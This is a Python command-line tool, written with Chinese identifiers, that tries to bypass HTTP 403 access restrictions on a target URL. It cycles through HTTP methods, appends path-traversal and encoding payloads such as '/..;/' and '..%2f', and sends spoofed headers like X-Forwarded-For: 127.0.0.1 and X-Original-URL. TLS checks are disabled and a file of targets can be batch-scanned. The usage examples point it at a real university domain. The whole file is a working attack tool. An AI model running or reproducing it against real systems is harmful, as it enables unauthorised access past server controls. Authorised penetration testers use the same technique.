import requests

import urllib3
from colorama import Fore, Style, init
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from argparse import ArgumentParser

# 防止控制台颜色残留
init(autoreset=True)

# 关闭https证书失效的报错
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

命令 = ArgumentParser(
    prog='寻觅_403绕过',
    usage=
    """
    例: 
        python .\\403绕过.py --域名 https://www.lixin.edu.cn/JSON-RPC
        python .\\403绕过.py --域名 https://www.lixin.edu.cn/JSON-RPC --请求方式 post
        python .\\403绕过.py -y https://www.lixin.edu.cn/JSON-RPC -q post -c "测试数据/参数.json"
        python  .\\403绕过.py -w 批量扫描文件名.txt
        参数样式:可以查看`测试数据/参数.json`中的参数样式
    """,
    description="尝试使用不同的方法、不同的有效负载测试和请求头测试是否能绕过403的限制",
    add_help=False
)
选填命令 = 命令.add_argument_group('选填命令')
选填命令.add_argument('-y', '--域名', default=False, help='请填写域名')
选填命令.add_argument('-c', '--参数', default=None, help='json格式的文件!!!当前必须使用post方法才能携带参数')
选填命令.add_argument('-w', '--文件名', default=False, help='指定文件名')
选填命令.add_argument('-q', '--请求方式', default=False, help='默认情况下会尝试所有方式对目标尝试请求,但`常用有效负载测试`和`修改请求头测试`会使用get方式')
其他命令 = 命令.add_argument_group('其他命令')
其他命令.add_argument('-h', '--帮助', action='help', help='查看帮助信息')


class 绕过403限制:
    def __init__(self, url地址, 指定请求方式=False, 携带参数=None):
        self.参数 = 携带参数
        self.指定请求方式 = 指定请求方式
        self.url = url地址

    def 多方法测试(self):
        print("\n" + Style.BRIGHT + Fore.RED + "尝试不同访问方法")
        res1 = requests.get(self.url, allow_redirects=False, verify=False, timeout=5)
        print(Style.BRIGHT + Fore.GREEN + "使用 GET :" + "\t" + Fore.YELLOW + str(res1.status_code))
        res2 = requests.post(self.url, data=self.参数, allow_redirects=False, verify=False, timeout=5)
        print(Style.BRIGHT + Fore.GREEN + "使用 POST :" + "\t" + Fore.YELLOW + str(res2.status_code))
        res3 = requests.head(self.url, allow_redirects=False, verify=False, timeout=5)
        print(Style.BRIGHT + Fore.GREEN + "使用 HEAD :" + "\t" + Fore.YELLOW + str(res3.status_code))
        try:
            res4 = requests.put(self.url, allow_redirects=False, verify=False, timeout=5)
            print(Style.BRIGHT + Fore.GREEN + "使用 PUT : " + "\t" + Fore.YELLOW + str(res4.status_code))
        except Exception as 异常:
            print("当前:", self.url, "put请求时产生异常!异常信息:", repr(异常))
        try:
            res5 = requests.delete(self.url, allow_redirects=False, verify=False, timeout=5)
            print(Style.BRIGHT + Fore.GREEN + "使用 DELETE :" + "\t" + Fore.YELLOW + str(res5.status_code))
        except Exception as 异常:
            print("当前:", self.url, "delete请求时产生异常!", repr(异常))
        try:
            res6 = requests.patch(self.url, allow_redirects=False, verify=False, timeout=5)
            print(Style.BRIGHT + Fore.GREEN + "使用 PATCH :" + "\t" + Fore.YELLOW + str(res6.status_code))
        except Exception as 异常:
            print("当前:", self.url, "patch请求时产生异常!", repr(异常))

    def 常用有效负载测试(self, 指定请求方式=None):
        print("\n" + Style.BRIGHT + Fore.RED + "在URL末尾使用有效负载 :")
        if not self.url.endswith('/'):
            url2 = self.url + "/"
        else:
            url2 = self.url
        payloads = ["", "/", "/*", "/%2f/", "/./", "./.", "/*/", "?", "??", "&", "#", "%", "%20", "%09", "/..;/", "../",
                    "..%2f", "..;/", ".././", "..%00/", "..%0d", "..%5c", "..%ff/", "%2e%2e%2f", ".%2e/", "%3f", "%26",
                    "%23", ".json"]
        for payload in payloads:
            try:
                url2 = self.url + payload
                if 指定请求方式 == "post":
                    res7 = requests.post(url2, data=self.参数, allow_redirects=False, verify=False, timeout=5)
                    print(Style.BRIGHT + Fore.GREEN + "(POST)" + url2 + " : " + Fore.YELLOW + str(res7.status_code))
                else:
                    res7 = requests.get(url2, allow_redirects=False, verify=False, timeout=5)
                    print(Style.BRIGHT + Fore.GREEN + "(GET)" + url2 + " : " + Fore.YELLOW + str(res7.status_code))
            except:
                print(Style.BRIGHT + Fore.RED + url2 + " : 发生报错!")

    def 修改请求头测试(self, 指定请求方式=None):
        print("\n" + Style.BRIGHT + Fore.RED + "使用不同的请求头:")
        访问头列表 = [
            {'X-Forwarded-For': '127.0.0.1'},
            {'X-Forwarded-Host': '127.0.0.1'},
            {'X-Host': '127.0.0.1'},
            {'X-Custom-IP-Authorization': '127.0.0.1'},
            {'X-Original-URL': '127.0.0.1'},
            {'X-Originating-IP': '127.0.0.1'},
            {'X-Remote-IP': '127.0.0.1'},
            {'X-Rewrite-URL': self.url}
        ]
        for 访问头 in 访问头列表:
            try:
                if 指定请求方式 == "post":
                    if list(访问头.keys())[0] == 'X-Rewrite-URL':
                        请求_访问头 = requests.post(self.url + "dev/null", headers=访问头, allow_redirects=False, verify=False)
                    else:
                        请求_访问头 = requests.post(self.url, data=self.参数, headers=访问头, allow_redirects=False, verify=False)
                    print(Style.BRIGHT + Fore.GREEN + list(访问头.keys())[0] + "测试结果(post) : " + Fore.YELLOW + str(
                        请求_访问头.status_code))
                else:
                    if list(访问头.keys())[0] == 'X-Rewrite-URL':
                        请求_访问头 = requests.get(self.url + "dev/null", headers=访问头, allow_redirects=False, verify=False)
                    else:
                        请求_访问头 = requests.get(self.url, headers=访问头, allow_redirects=False, verify=False)
                    print(Style.BRIGHT + Fore.GREEN + list(访问头.keys())[0] + "测试结果(get) : " + Fore.YELLOW + str(
                        请求_访问头.status_code))
            except:
                print(Style.BRIGHT + Fore.RED + list(访问头.keys())[0] + " : 发生报错!")

    def 运行(self):
        if self.指定请求方式:
            self.常用有效负载测试(self.指定请求方式)
            self.修改请求头测试(self.指定请求方式)
            print("\n" + Style.BRIGHT + Fore.GREEN + f"检测完毕!({self.指定请求方式})" + self.url + "\n")
        else:
            self.多方法测试()
            self.常用有效负载测试()
            self.修改请求头测试()
            print("\n" + Style.BRIGHT + Fore.GREEN + "检测完毕!" + self.url + "\n")


if 命令.parse_args().域名:
    if 命令.parse_args().参数:
        try:
            with open(命令.parse_args().参数) as 读取数据:
                取出的参数 = ''.join(读取数据.readlines())
                取出的参数 = 取出的参数.replace('\n', '').replace('\r', '').replace('\t', '').replace(' ', '')
            # get需要的格式化参数
            # 格式化参数 = urllib.parse.urlencode(json.loads(取出的参数))
            # post方法不需要
            格式化参数 = 取出的参数
        except:
            print(命令.format_help())
            raise TypeError("参数格式错误!")
    else:
        格式化参数 = None
    绕过403限制(命令.parse_args().域名, 命令.parse_args().请求方式, 格式化参数).运行()
elif 命令.parse_args().文件名:
    with open(命令.parse_args().文件名) as 读取数据:
        for i in 读取数据.read().split('\n'):
            绕过403限制(i).运行()
else:
    print(命令.format_help())
